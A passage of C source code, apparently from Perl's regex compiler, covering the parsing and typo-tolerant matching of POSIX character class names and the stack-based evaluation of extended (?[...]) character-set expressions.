typo of '.' or '=' instead of a colon. * */ } /* Here, we think there is a possibility that a [: :] class was meant, and * we have the first real character. It could be they think the '^' comes * first */ if (*p == '^') { found_problem = TRUE; ADD_POSIX_WARNING(p + 1, "the '^' must come after the colon"); complement = 1; p++; if (isBLANK(*p)) { found_problem = TRUE; do { p++; } while (p < e && isBLANK(*p)); ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } } /* But the first character should be a colon, which they could have easily * mistyped on a qwerty keyboard as a semi-colon (and which may be hard to * distinguish from a colon, so treat that as a colon). */ if (*p == ':') { p++; has_opening_colon = TRUE; } else if (*p == ';') { found_problem = TRUE; p++; ADD_POSIX_WARNING(p, SEMI_COLON_POSIX_WARNING); has_opening_colon = TRUE; } else { found_problem = TRUE; ADD_POSIX_WARNING(p, "there must be a starting ':'"); /* Consider an initial punctuation (not one of the recognized ones) to * be a left terminator */ if (*p != '^' && *p != ']' && isPUNCT(*p)) { p++; } } /* They may think that you can put spaces between the components */ if (isBLANK(*p)) { found_problem = TRUE; do { p++; } while (p < e && isBLANK(*p)); ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } if (*p == '^') { /* We consider something like [^:^alnum:]] to not have been intended to * be a posix class, but XXX maybe we should */ if (complement) { CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } complement = 1; p++; } /* Again, they may think that you can put spaces between the components */ if (isBLANK(*p)) { found_problem = TRUE; do { p++; } while (p < e && isBLANK(*p)); ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } if (*p == ']') { /* XXX This ']' may be a typo, and something else was meant. But * treating it as such creates enough complications, that that * possibility isn't currently considered here. So we assume that the * ']' is what is intended, and if we've already found an initial '[', * this leaves this construct looking like [:] or [:^], which almost * certainly weren't intended to be posix classes */ if (has_opening_bracket) { CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } /* But this function can be called when we parse the colon for * something like qr/[alpha:]]/, so we back up to look for the * beginning */ p--; if (*p == ';') { found_problem = TRUE; ADD_POSIX_WARNING(p, SEMI_COLON_POSIX_WARNING); } else if (*p != ':') { /* XXX We are currently very restrictive here, so this code doesn't * consider the possibility that, say, /[alpha.]]/ was intended to * be a posix class. */ CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } /* Here we have something like 'foo:]'. There was no initial colon, * and we back up over 'foo. XXX Unlike the going forward case, we * don't handle typos of non-word chars in the middle */ has_opening_colon = FALSE; p--; while (p > RExC_start && isWORDCHAR(*p)) { p--; } p++; /* Here, we have positioned ourselves to where we think the first * character in the potential class is */ } /* Now the interior really starts. There are certain key characters that * can end the interior, or these could just be typos. To catch both * cases, we may have to do two passes. In the first pass, we keep on * going unless we come to a sequence that matches * qr/ [[:punct:]] [[:blank:]]* \] /xa * This means it takes a sequence to end the pass, so two typos in a row if * that wasn't what was intended. If the class is perfectly formed, just * this one pass is needed. We also stop if there are too many characters * being accumulated, but this number is deliberately set higher than any * real class. It is set high enough so that someone who thinks that * 'alphanumeric' is a correct name would get warned that it wasn't. * While doing the pass, we keep track of where the key characters were in * it. If we don't find an end to the class, and one of the key characters * was found, we redo the pass, but stop when we get to that character. * Thus the key character was considered a typo in the first pass, but a * terminator in the second. If two key characters are found, we stop at * the second one in the first pass. Again this can miss two typos, but * catches a single one * * In the first pass, 'possible_end' starts as NULL, and then gets set to * point to the first key character. For the second pass, it starts as -1. * */ name_start = p; parse_name: { bool has_blank = FALSE; bool has_upper = FALSE; bool has_terminating_colon = FALSE; bool has_terminating_bracket = FALSE; bool has_semi_colon = FALSE; unsigned int name_len = 0; int punct_count = 0; while (p < e) { /* Squeeze out blanks when looking up the class name below */ if (isBLANK(*p) ) { has_blank = TRUE; found_problem = TRUE; p++; continue; } /* The name will end with a punctuation */ if (isPUNCT(*p)) { const char * peek = p + 1; /* Treat any non-']' punctuation followed by a ']' (possibly * with intervening blanks) as trying to terminate the class. * ']]' is very likely to mean a class was intended (but * missing the colon), but the warning message that gets * generated shows the error position better if we exit the * loop at the bottom (eventually), so skip it here. */ if (*p != ']') { if (peek < e && isBLANK(*peek)) { has_blank = TRUE; found_problem = TRUE; do { peek++; } while (peek < e && isBLANK(*peek)); } if (peek < e && *peek == ']') { has_terminating_bracket = TRUE; if (*p == ':') { has_terminating_colon = TRUE; } else if (*p == ';') { has_semi_colon = TRUE; has_terminating_colon = TRUE; } else { found_problem = TRUE; } p = peek + 1; goto try_posix; } } /* Here we have punctuation we thought didn't end the class. * Keep track of the position of the key characters that are * more likely to have been class-enders */ if (*p == ']' || *p == '[' || *p == ':' || *p == ';') { /* Allow just one such possible class-ender not actually * ending the class. */ if (possible_end) { break; } possible_end = p; } /* If we have too many punctuation characters, no use in * keeping going */ if (++punct_count > max_distance) { break; } /* Treat the punctuation as a typo. */ input_text[name_len++] = *p; p++; } else if (isUPPER(*p)) { /* Use lowercase for lookup */ input_text[name_len++] = toLOWER(*p); has_upper = TRUE; found_problem = TRUE; p++; } else if (! UTF || UTF8_IS_INVARIANT(*p)) { input_text[name_len++] = *p; p++; } else { input_text[name_len++] = utf8_to_uvchr_buf((U8 *) p, e, NULL); p+= UTF8SKIP(p); } /* The declaration of 'input_text' is how long we allow a potential * class name to be, before saying they didn't mean a class name at * all */ if (name_len >= C_ARRAY_LENGTH(input_text)) { break; } } /* We get to here when the possible class name hasn't been properly * terminated before: * 1) we ran off the end of the pattern; or * 2) found two characters, each of which might have been intended to * be the name's terminator * 3) found so many punctuation characters in the purported name, * that the edit distance to a valid one is exceeded * 4) we decided it was more characters than anyone could have * intended to be one. */ found_problem = TRUE; /* In the final two cases, we know that looking up what we've * accumulated won't lead to a match, even a fuzzy one. */ if ( name_len >= C_ARRAY_LENGTH(input_text) || punct_count > max_distance) { /* If there was an intermediate key character that could have been * an intended end, redo the parse, but stop there */ if (possible_end && possible_end != (char *) -1) { possible_end = (char *) -1; /* Special signal value to say we've done a first pass */ p = name_start; goto parse_name; } /* Otherwise, it can't have meant to have been a class */ CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } /* If we ran off the end, and the final character was a punctuation * one, back up one, to look at that final one just below. Later, we * will restore the parse pointer if appropriate */ if (name_len && p == e && isPUNCT(*(p-1))) { p--; name_len--; } if (p < e && isPUNCT(*p)) { if (*p == ']') { has_terminating_bracket = TRUE; /* If this is a 2nd ']', and the first one is just below this * one, consider that to be the real terminator. This gives a * uniform and better positioning for the warning message */ if ( possible_end && possible_end != (char *) -1 && *possible_end == ']' && name_len && input_text[name_len - 1] == ']') { name_len--; p = possible_end; /* And this is actually equivalent to having done the 2nd * pass now, so set it to not try again */ possible_end = (char *) -1; } } else { if (*p == ':') { has_terminating_colon = TRUE; } else if (*p == ';') { has_semi_colon = TRUE; has_terminating_colon = TRUE; } p++; } } try_posix: /* Here, we have a class name to look up. We can short circuit the * stuff below for short names that can't possibly be meant to be a * class name. (We can do this on the first pass, as any second pass * will yield an even shorter name) */ if (name_len < 3) { CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } /* Find which class it is. Initially switch on the length of the name. * */ switch (name_len) { case 4: if (memEQs(name_start, 4, "word")) { /* this is not POSIX, this is the Perl \w */ class_number = ANYOF_WORDCHAR; } break; case 5: /* Names all of length 5: alnum alpha ascii blank cntrl digit * graph lower print punct space upper * Offset 4 gives the best switch position. */ switch (name_start[4]) { case 'a': if (memBEGINs(name_start, 5, "alph")) /* alpha */ class_number = ANYOF_ALPHA; break; case 'e': if (memBEGINs(name_start, 5, "spac")) /* space */ class_number = ANYOF_SPACE; break; case 'h': if (memBEGINs(name_start, 5, "grap")) /* graph */ class_number = ANYOF_GRAPH; break; case 'i': if (memBEGINs(name_start, 5, "asci")) /* ascii */ class_number = ANYOF_ASCII; break; case 'k': if (memBEGINs(name_start, 5, "blan")) /* blank */ class_number = ANYOF_BLANK; break; case 'l': if (memBEGINs(name_start, 5, "cntr")) /* cntrl */ class_number = ANYOF_CNTRL; break; case 'm': if (memBEGINs(name_start, 5, "alnu")) /* alnum */ class_number = ANYOF_ALPHANUMERIC; break; case 'r': if (memBEGINs(name_start, 5, "lowe")) /* lower */ class_number = (FOLD) ? ANYOF_CASED : ANYOF_LOWER; else if (memBEGINs(name_start, 5, "uppe")) /* upper */ class_number = (FOLD) ? ANYOF_CASED : ANYOF_UPPER; break; case 't': if (memBEGINs(name_start, 5, "digi")) /* digit */ class_number = ANYOF_DIGIT; else if (memBEGINs(name_start, 5, "prin")) /* print */ class_number = ANYOF_PRINT; else if (memBEGINs(name_start, 5, "punc")) /* punct */ class_number = ANYOF_PUNCT; break; } break; case 6: if (memEQs(name_start, 6, "xdigit")) class_number = ANYOF_XDIGIT; break; } /* If the name exactly matches a posix class name the class number will * here be set to it, and the input almost certainly was meant to be a * posix class, so we can skip further checking. If instead the syntax * is exactly correct, but the name isn't one of the legal ones, we * will return that as an error below. But if neither of these apply, * it could be that no posix class was intended at all, or that one * was, but there was a typo. We tease these apart by doing fuzzy * matching on the name */ if (class_number == OOB_NAMEDCLASS && found_problem) { const UV posix_names[][6] = { { 'a', 'l', 'n', 'u', 'm' }, { 'a', 'l', 'p', 'h', 'a' }, { 'a', 's', 'c', 'i', 'i' }, { 'b', 'l', 'a', 'n', 'k' }, { 'c', 'n', 't', 'r', 'l' }, { 'd', 'i', 'g', 'i', 't' }, { 'g', 'r', 'a', 'p', 'h' }, { 'l', 'o', 'w', 'e', 'r' }, { 'p', 'r', 'i', 'n', 't' }, { 'p', 'u', 'n', 'c', 't' }, { 's', 'p', 'a', 'c', 'e' }, { 'u', 'p', 'p', 'e', 'r' }, { 'w', 'o', 'r', 'd' }, { 'x', 'd', 'i', 'g', 'i', 't' } }; /* The names of the above all have added NULs to make them the same * size, so we need to also have the real lengths */ const UV posix_name_lengths[] = { sizeof("alnum") - 1, sizeof("alpha") - 1, sizeof("ascii") - 1, sizeof("blank") - 1, sizeof("cntrl") - 1, sizeof("digit") - 1, sizeof("graph") - 1, sizeof("lower") - 1, sizeof("print") - 1, sizeof("punct") - 1, sizeof("space") - 1, sizeof("upper") - 1, sizeof("word") - 1, sizeof("xdigit")- 1 }; unsigned int i; int temp_max = max_distance; /* Use a temporary, so if we reparse, we haven't changed the outer one */ /* Use a smaller max edit distance if we are missing one of the * delimiters */ if ( has_opening_bracket + has_opening_colon < 2 || has_terminating_bracket + has_terminating_colon < 2) { temp_max--; } /* See if the input name is close to a legal one */ for (i = 0; i < C_ARRAY_LENGTH(posix_names); i++) { /* Short circuit call if the lengths are too far apart to be * able to match */ if (abs( (int) (name_len - posix_name_lengths[i])) > temp_max) { continue; } if (edit_distance(input_text, posix_names[i], name_len, posix_name_lengths[i], temp_max ) > -1) { /* If it is close, it probably was intended to be a class */ goto probably_meant_to_be; } } /* Here the input name is not close enough to a valid class name * for us to consider it to be intended to be a posix class. If * we haven't already done so, and the parse found a character that * could have been terminators for the name, but which we absorbed * as typos during the first pass, repeat the parse, signalling it * to stop at that character */ if (possible_end && possible_end != (char *) -1) { possible_end = (char *) -1; p = name_start; goto parse_name; } /* Here neither pass found a close-enough class name */ CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } probably_meant_to_be: /* Here we think that a posix specification was intended. Update any * parse pointer */ if (updated_parse_ptr) { *updated_parse_ptr = (char *) p; } /* If a posix class name was intended but incorrectly specified, we * output or return the warnings */ if (found_problem) { /* We set flags for these issues in the parse loop above instead of * adding them to the list of warnings, because we can parse it * twice, and we only want one warning instance */ if (has_upper) { ADD_POSIX_WARNING(p, "the name must be all lowercase letters"); } if (has_blank) { ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } if (has_semi_colon) { ADD_POSIX_WARNING(p, SEMI_COLON_POSIX_WARNING); } else if (! has_terminating_colon) { ADD_POSIX_WARNING(p, "there is no terminating ':'"); } if (! has_terminating_bracket) { ADD_POSIX_WARNING(p, "there is no terminating ']'"); } if ( posix_warnings && RExC_warn_text && av_top_index(RExC_warn_text) > -1) { *posix_warnings = RExC_warn_text; } } else if (class_number != OOB_NAMEDCLASS) { /* If it is a known class, return the class. The class number * #defines are structured so each complement is +1 to the normal * one */ CLEAR_POSIX_WARNINGS_AND_RETURN(class_number + complement); } else if (! check_only) { /* Here, it is an unrecognized class. This is an error (unless the * call is to check only, which we've already handled above) */ const char * const complement_string = (complement) ? "^" : ""; RExC_parse = (char *) p; vFAIL3utf8f("POSIX class [:%s%" UTF8f ":] unknown", complement_string, UTF8fARG(UTF, RExC_parse - name_start - 2, name_start)); } } return OOB_NAMEDCLASS; } #undef ADD_POSIX_WARNING STATIC unsigned int S_regex_set_precedence(const U8 my_operator) { /* Returns the precedence in the (?[...]) construct of the input operator, * specified by its character representation. The precedence follows * general Perl rules, but it extends this so that ')' and ']' have (low) * precedence even though they aren't really operators */ switch (my_operator) { case '!': return 5; case '&': return 4; case '^': case '|': case '+': case '-': return 3; case ')': return 2; case ']': return 1; } NOT_REACHED; /* NOTREACHED */ return 0; /* Silence compiler warning */ } STATIC regnode_offset S_handle_regex_sets(pTHX_ RExC_state_t *pRExC_state, SV** return_invlist, I32 *flagp, U32 depth, char * const oregcomp_parse) { /* Handle the (?[...]) construct to do set operations */ U8 curchar; /* Current character being parsed */ UV start, end; /* End points of code point ranges */ SV* final = NULL; /* The end result inversion list */ SV* result_string; /* 'final' stringified */ AV* stack; /* stack of operators and operands not yet resolved */ AV* fence_stack = NULL; /* A stack containing the positions in 'stack' of where the undealt-with left parens would be if they were actually put there */ /* The 'volatile' is a workaround for an optimiser bug * in Solaris Studio 12.3. See RT #127455 */ volatile IV fence = 0; /* Position of where most recent undealt- with left paren in stack is; -1 if none. */ STRLEN len; /* Temporary */ regnode_offset node; /* Temporary, and final regnode returned by this function */ const bool save_fold = FOLD; /* Temporary */ char *save_end, *save_parse; /* Temporaries */ const bool in_locale = LOC; /* we turn off /l during processing */ GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_HANDLE_REGEX_SETS; DEBUG_PARSE("xcls"); if (in_locale) { set_regex_charset(&RExC_flags, REGEX_UNICODE_CHARSET); } /* The use of this operator implies /u. This is required so that the * compile time values are valid in all runtime cases */ REQUIRE_UNI_RULES(flagp, 0); ckWARNexperimental(RExC_parse, WARN_EXPERIMENTAL__REGEX_SETS, "The regex_sets feature is experimental"); /* Everything in this construct is a metacharacter. Operands begin with * either a '\' (for an escape sequence), or a '[' for a bracketed * character class. Any other character should be an operator, or * parenthesis for grouping. Both types of operands are handled by calling * regclass() to parse them. It is called with a parameter to indicate to * return the computed inversion list. The parsing here is implemented via * a stack. Each entry on the stack is a single character representing one * of the operators; or else a pointer to an operand inversion list. */ #define IS_OPERATOR(a) SvIOK(a) #define IS_OPERAND(a) (! IS_OPERATOR(a)) /* The stack is kept in Łukasiewicz order. (That's pronounced similar * to luke-a-shave-itch (or -itz), but people who didn't want to bother * with pronouncing it called it Reverse Polish instead, but now that YOU * know how to pronounce it you can use the correct term, thus giving due * credit to the person who invented it, and impressing your geek friends. * Wikipedia says that the pronounciation of "Ł" has been changing so that * it is now more like an English initial W (as in wonk) than an L.) * * This means that, for example, 'a | b & c' is stored on the stack as * * c [4] * b [3] * & [2] * a [1] * | [0] * * where the numbers in brackets give the stack [array] element number. * In this implementation, parentheses are not stored on the stack. * Instead a '(' creates a "fence" so that the part of the stack below the * fence is invisible except to the corresponding ')' (this allows us to * replace testing for parens, by using instead subtraction of the fence * position). As new operands are processed they are pushed onto the stack * (except as noted in the next paragraph). New operators of higher * precedence than the current final one are inserted on the stack before * the lhs operand (so that when the rhs is pushed next, everything will be * in the correct positions shown above. When an operator of equal or * lower precedence is encountered in parsing, all the stacked operations * of equal or higher precedence are evaluated, leaving the result as the * top entry on the stack. This makes higher precedence operations * evaluate before lower precedence ones, and causes operations of equal * precedence to left associate. * * The only unary operator '!' is immediately pushed onto the stack when * encountered. When an operand is encountered, if the top of the stack is * a '!", the complement is immediately performed, and the '!' popped. The * resulting value is treated as a new operand, and the logic in the * previous paragraph is executed. Thus in the expression * [a] + ! [b] * the stack looks like * * ! * a * + * * as 'b' gets parsed, the latter gets evaluated to '!b', and the stack * becomes * * !b * a * + * * A ')' is treated as an operator with lower precedence than all the * aforementioned ones, which causes all operations on the stack above the * corresponding '(' to be evaluated down to a single resultant operand. * Then the fence for the '(' is removed, and the operand goes through the * algorithm above, without the fence. * * A separate stack is kept of the fence positions, so that the position of * the latest so-far unbalanced '(' is at the top of it. * * The ']' ending the construct is treated as the lowest operator of all, * so that everything gets evaluated down to a single operand, which is the * result */ sv_2mortal((SV *)(stack = newAV())); sv_2mortal((SV *)(fence_stack = newAV())); while (RExC_parse < RExC_end) { I32 top_index; /* Index of top-most element in 'stack' */ SV** top_ptr; /* Pointer to top 'stack' element */ SV* current = NULL; /* To contain the current inversion list operand */ SV* only_to_avoid_leaks; skip_to_be_ignored_text(pRExC_state, &RExC_parse, TRUE /* Force /x */ ); if (RExC_parse >= RExC_end) { /* Fail */ break; } curchar = UCHARAT(RExC_parse); redo_curchar: #ifdef ENABLE_REGEX_SETS_DEBUGGING /* Enable with -Accflags=-DENABLE_REGEX_SETS_DEBUGGING */ DEBUG_U(dump_regex_sets_structures(pRExC_state, stack, fence, fence_stack)); #endif top_index = av_tindex_skip_len_mg(stack); switch (curchar) { SV** stacked_ptr; /* Ptr to something already on 'stack' */ char stacked_operator; /* The topmost operator on the 'stack'. */ SV* lhs; /* Operand to the left of the operator */ SV* rhs; /* Operand to the right of the operator */ SV* fence_ptr; /* Pointer to top element of the fence stack */ case '(': if ( RExC_parse < RExC_end - 2 && UCHARAT(RExC_parse + 1) == '?' && UCHARAT(RExC_parse + 2) == '^') { /* If is a '(?', could be an embedded '(?^flags:(?[...])'. * This happens when we have some thing like * * my $thai_or_lao = qr/(?[ \p{Thai} + \p{Lao} ])/; * ... * qr/(?[ \p{Digit} & $thai_or_lao ])/; * * Here we would be handling the interpolated * '$thai_or_lao'. We handle this by a recursive call to * ourselves which returns the inversion list the * interpolated expression evaluates to. We use the flags * from the interpolated pattern. */ U32 save_flags = RExC_flags; const char * save_parse; RExC_parse += 2; /* Skip past the '(?' */ save_parse = RExC_parse; /* Parse the flags for the '(?'. We already know the first * flag to parse is a '^' */ parse_lparen_question_flags(pRExC_state); if ( RExC_parse >= RExC_end - 4 || UCHARAT(RExC_parse) != ':' || UCHARAT(++RExC_parse) != '(' || UCHARAT(++RExC_parse) != '?' || UCHARAT(++RExC_parse) != '[') { /* In combination with the above, this moves the * pointer to the point just after the first erroneous * character. */ if (RExC_parse >= RExC_end - 4) { RExC_parse = RExC_end; } else if (RExC_parse != save_parse) { RExC_parse += (UTF) ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; } vFAIL("Expecting '(?flags:(?[...'"); } /* Recurse, with the meat of the embedded expression */ RExC_parse++; if (! handle_regex_sets(pRExC_state, &current, flagp, depth+1, oregcomp_parse)) { RETURN_FAIL_ON_RESTART(*flagp, flagp); } /* Here, 'current' contains the embedded expression's * inversion list, and RExC_parse points to the trailing * ']'; the next character should be the ')' */ RExC_parse++; if (UCHARAT(RExC_parse) != ')') vFAIL("Expecting close paren for nested extended charclass"); /* Then the ')' matching the original '(' handled by this * case: statement */ RExC_parse++; if (UCHARAT(RExC_parse) != ')') vFAIL("Expecting close paren for wrapper for nested extended charclass"); RExC_flags = save_flags; goto handle_operand; } /* A regular '('. Look behind for illegal syntax */ if (top_index - fence >= 0) { /* If the top entry on the stack is an operator, it had * better be a '!', otherwise the entry below the top * operand should be an operator */ if ( ! (top_ptr = av_fetch(stack, top_index, FALSE)) || (IS_OPERATOR(*top_ptr) && SvUV(*top_ptr) != '!') || ( IS_OPERAND(*top_ptr) && ( top_index - fence < 1 || ! (stacked_ptr = av_fetch(stack, top_index - 1, FALSE)) || ! IS_OPERATOR(*stacked_ptr)))) { RExC_parse++; vFAIL("Unexpected '(' with no preceding operator"); } } /* Stack the position of this undealt-with left paren */ av_push(fence_stack, newSViv(fence)); fence = top_index + 1; break; case '\\': /* regclass() can only return RESTART_PARSE and NEED_UTF8 if * multi-char folds are allowed. */ if (!regclass(pRExC_state, flagp, depth+1, TRUE, /* means parse just the next thing */ FALSE, /* don't allow multi-char folds */ FALSE, /* don't silence non-portable warnings. */ TRUE, /* strict */ FALSE, /* Require return to be an ANYOF */ &current)) { RETURN_FAIL_ON_RESTART(*flagp, flagp); goto regclass_failed; } /* regclass() will return with parsing just the \ sequence, * leaving the parse pointer at the next thing to parse */ RExC_parse--; goto handle_operand; case '[': /* Is a bracketed character class */ { /* See if this is a [:posix:] class. */ bool is_posix_class = (OOB_NAMEDCLASS < handle_possible_posix(pRExC_state, RExC_parse + 1, NULL, NULL, TRUE /* checking only */)); /* If it is a posix class, leave the parse pointer at the '[' * to fool regclass() into thinking it is part of a * '[[:posix:]]'. */ if (! is_posix_class) { RExC_parse++; } /* regclass() can only return RESTART_PARSE and NEED_UTF8 if * multi-char folds are allowed. */ if (!regclass(pRExC_state, flagp, depth+1, is_posix_class, /* parse the whole char class only if not a posix class */ FALSE, /* don't allow multi-char folds */ TRUE, /* silence non-portable warnings. */ TRUE, /* strict */ FALSE, /* Require return to be an ANYOF */ &current)) { RETURN_FAIL_ON_RESTART(*flagp, flagp); goto regclass_failed; } if (! current) { break; } /* function call leaves parse pointing to the ']', except if we * faked it */ if (is_posix_class) { RExC_parse--; } goto handle_operand; } case ']': if (top_index >= 1) { goto join_operators; } /* Only a single operand on the stack: are done */ goto done; case ')': if (av_tindex_skip_len_mg(fence_stack) < 0) { if (UCHARAT(RExC_parse - 1) == ']') { break; } RExC_parse++; vFAIL("Unexpected ')'"); } /* If nothing after the fence, is missing an operand */ if (top_index - fence < 0) { RExC_parse++; goto bad_syntax; } /* If at least two things on the stack, treat this as an * operator */ if (top_index - fence >= 1) { goto join_operators; } /* Here only a single thing on the fenced stack, and there is a * fence. Get rid of it */ fence_ptr = av_pop(fence_stack); assert(fence_ptr); fence = SvIV(fence_ptr); SvREFCNT_dec_NN(fence_ptr); fence_ptr = NULL; if (fence < 0) { fence = 0; } /* Having gotten rid of the fence, we pop the operand at the * stack top and process it as a newly encountered operand */ current = av_pop(stack); if (IS_OPERAND(current)) { goto handle_operand; } RExC_parse++; goto bad_syntax; case '&': case '|': case '+': case '-': case '^': /* These binary operators should have a left operand already * parsed */ if ( top_index - fence < 0 || top_index - fence == 1 || ( ! (top_ptr = av_fetch(stack, top_index, FALSE))) || ! IS_OPERAND(*top_ptr)) { goto unexpected_binary; } /* If only the one operand is on the part of the stack visible * to us, we just place this operator in the proper position */ if (top_index - fence < 2) { /* Place the operator before the operand */ SV* lhs = av_pop(stack); av_push(stack, newSVuv(curchar)); av_push(stack, lhs); break; } /* But if there is something else on the stack, we need to * process it before this new operator if and only if the * stacked operation has equal or higher precedence than the * new one */ join_operators: /* The operator on the stack is supposed to be below both its * operands */ if ( ! (stacked_ptr = av_fetch(stack, top_index - 2, FALSE)) || IS_OPERAND(*stacked_ptr)) { /* But if not, it's legal and indicates we are completely * done if and only if we're currently processing a ']', * which should be the final thing in the expression */ if (curchar == ']') { goto done; } unexpected_binary: RExC_parse++; vFAIL2("Unexpected binary operator '%c' with no " "preceding operand", curchar); } stacked_operator = (char) SvUV(*stacked_ptr); if (regex_set_precedence(curchar) > regex_set_precedence(stacked_operator)) { /* Here, the new operator has higher precedence than the * stacked one. This means we need to add the new one to * the stack to await its rhs operand (and maybe more * stuff). We put it before the lhs operand, leaving * untouched the stacked operator and everything below it * */ lhs = av_pop(stack); assert(IS_OPERAND(lhs)); av_push(stack, newSVuv(curchar)); av_push(stack, lhs); break; } /* Here, the new operator has equal or lower precedence than * what's already there. This means the operation already * there should be performed now, before the new one. */ rhs = av_pop(stack); if (! IS_OPERAND(rhs)) { /* This can happen when a ! is not followed by an operand, * like in /(?[\t &!])/ */ goto bad_syntax; } lhs = av_pop(stack); if (! IS_OPERAND(lhs)) { /* This can happen when there is an empty (), like in * /(?[[0]+()+])/ */ goto bad_syntax; } switch (stacked_operator) { case '&': _invlist_intersection(lhs, rhs, &rhs); break; case '|': case '+': _invlist_union(lhs, rhs, &rhs); break; case '-': _invlist_subtract(lhs, rhs, &rhs); break; case '^': /* The union minus the intersection */ { SV* i = NULL; SV* u = NULL; _invlist_union(lhs, rhs, &u); _invlist_intersection(lhs, rhs, &i); _invlist_subtract(u, i, &rhs); SvREFCNT_dec_NN(i); SvREFCNT_dec_NN(u); break; } } SvREFCNT_dec(lhs); /* Here, the higher precedence operation has been done, and the * result is in 'rhs'. We overwrite the stacked operator with * the result. Then we redo this code to either push the new * operator onto the stack or perform any higher precedence * stacked operation */ only_to_avoid_leaks = av_pop(stack); SvREFCNT_dec(only_to_avoid_leaks); av_push(stack, rhs); goto redo_curchar; case '!': /* Highest priority, right associative */ /* If what's already at the top of the stack is another '!", * they just cancel each other out */ if ( (top_ptr = av_fetch(stack, top_index, FALSE)) && (IS_OPERATOR(*top_ptr) && SvUV(*top_ptr) == '!')) { only_to_avoid_leaks = av_pop(stack); SvREFCNT_dec(only_to_avoid_leaks); } else { /* Otherwise, since it's right associative, just push onto the stack */ av_push(stack, newSVuv(curchar)); } break; default: RExC_parse += (UTF) ? UTF8SKIP(RExC_parse) : 1; if (RExC_parse >= RExC_end) { break; } vFAIL("Unexpected character"); handle_operand: /* Here 'current' is the operand. If something is already on the * stack, we have to check if it is a !. But first, the code above * may have altered the stack in the time since we earlier set * 'top_index'. */ top_index = av_tindex_skip_len_mg(stack); if (top_index - fence >= 0) { /* If the top entry on the stack is an operator, it had better * be a '!', otherwise the entry below the top operand should * be an operator */ top_ptr = av_fetch(stack, top_index, FALSE); assert(top_ptr); if (IS_OPERATOR(*top_ptr)) { /* The only permissible operator at the top of the stack is * '!', which is applied immediately to this operand. */ curchar = (char) SvUV(*top_ptr); if (curchar != '!') { SvREFCNT_dec(current); vFAIL2("Unexpected binary operator '%c' with no " "preceding operand", curchar); } _invlist_invert(current); only_to_avoid_leaks = av_pop(stack); SvREFCNT_dec(only_to_avoid_leaks); /* And we redo with the inverted operand. This allows * handling multiple ! in a row */ goto handle_operand; } /* Single operand is ok only for the non-binary ')' * operator */ else if ((top_index - fence == 0 && curchar != ')') || (top_index - fence > 0 && (! (stacked_ptr = av_fetch(stack, top_index - 1, FALSE)) || IS_OPERAND(*stacked_ptr)))) { SvREFCNT_dec(current); vFAIL("Operand with no preceding operator"); } } /* Here there was nothing on the stack or the top element was * another operand. Just add this new one */ av_push(stack, current); } /* End of switch on next parse token */ RExC_parse += (UTF) ? UTF8SKIP(RExC_parse) : 1; } /* End of loop parsing through the construct */ vFAIL("Syntax error in (?[...])"); done: if (RExC_parse >= RExC_end || RExC_parse[1] != ')') { if (RExC_parse < RExC_end) { RExC_parse++; } vFAIL("Unexpected ']' with no following ')' in (?[..."); } if (av_tindex_skip_len_mg(fence_stack) >= 0) { vFAIL("Unmatched ("); } if (av_tindex_skip_len_mg(stack) < 0 /* Was empty */ || ((final = av_pop(stack)) == NULL) || ! IS_OPERAND(final) || ! is_invlist(final) || av_tindex_skip_len_mg(stack) >= 0) /* More left on stack */ { bad_syntax: SvREFCNT_dec(final); vFAIL("Incomplete expression within '(?[ ])'"); } /* Here, 'final' is the resultant inversion list from evaluating the * expression. Return it if so requested */ if (return_invlist) { *return_invlist = final; return END; } /* Otherwise generate a resultant node, based on 'final'. regclass() is * expecting a string of ranges and individual code points */ invlist_iterinit(final); result_string = newSVpvs(""); while (invlist_iternext(final, &start, &end)) { if (start == end) { Perl_sv_catpvf(aTHX_ result_string, "\\x{%" UVXf "}", start); } else { Perl_sv_catpvf(aTHX_ result_string, "\\x{%" UVXf "}-\\x{%" UVXf "}", start, end); } } /* About to generate an ANYOF (or similar) node from the inversion list we * have calculated */ save_parse = RExC_parse; RExC_parse = SvPV(result_string, len); save_end = RExC_end; RExC_end = RExC_parse + len; TURN_OFF_WARNINGS_IN_SUBSTITUTE_PARSE; /* We turn off folding around the call, as the class we have constructed * already has all folding taken into consideration, and we don't want * regclass() to add to that */ RExC_flags &= ~RXf_PMf_FOLD; /* regclass() can only return RESTART_PARSE and NEED_UTF8 if multi-char * folds are allowed. */ node = regclass(pRExC_state, flagp, depth+1, FALSE, /* means parse the whole char class */ FALSE, /* don't allow multi-char folds */ TRUE, /* silence non-portable warnings. The above may very well have generated non-portable code points, but they're valid on this machine */ FALSE, /* similarly, no need for strict */ FALSE, /* Require return to be an ANYOF */ NULL ); RESTORE_WARNINGS; RExC_parse = save_parse + 1; RExC_end = save_end; SvREFCNT_dec_NN(final); SvREFCNT_dec_NN(result_string); if (save_fold) { RExC_flags |= RXf_PMf_FOLD; } if (!node) { RETURN_FAIL_ON_RESTART(*flagp, flagp); goto regclass_failed; } /* Fix up the node type if we are in locale. (We have pretended we are * under /u for the purposes of regclass(), as this construct will only * work under UTF-8 locales. But now we change the opcode to be ANYOFL (so * as to cause any warnings about bad locales to be output in regexec.c), * and add the flag that indicates to check if not in a UTF-8 locale. The * reason we above forbid optimization into something other than an ANYOF * node is simply to minimize the number of code changes in regexec.c. * Otherwise we would have to create new EXACTish node types and deal with * them. This decision could be revisited should this construct become * popular. * * (One might think we could look at the resulting ANYOF node and suppress * the flag if everything is above 255, as those would be UTF-8 only, * but this isn't true, as the components that led to that result could * have been locale-affected, and just happen to cancel each other out * under UTF-8 locales.) */ if (in_locale) { set_regex_charset(&RExC_flags, REGEX_LOCALE_CHARSET); 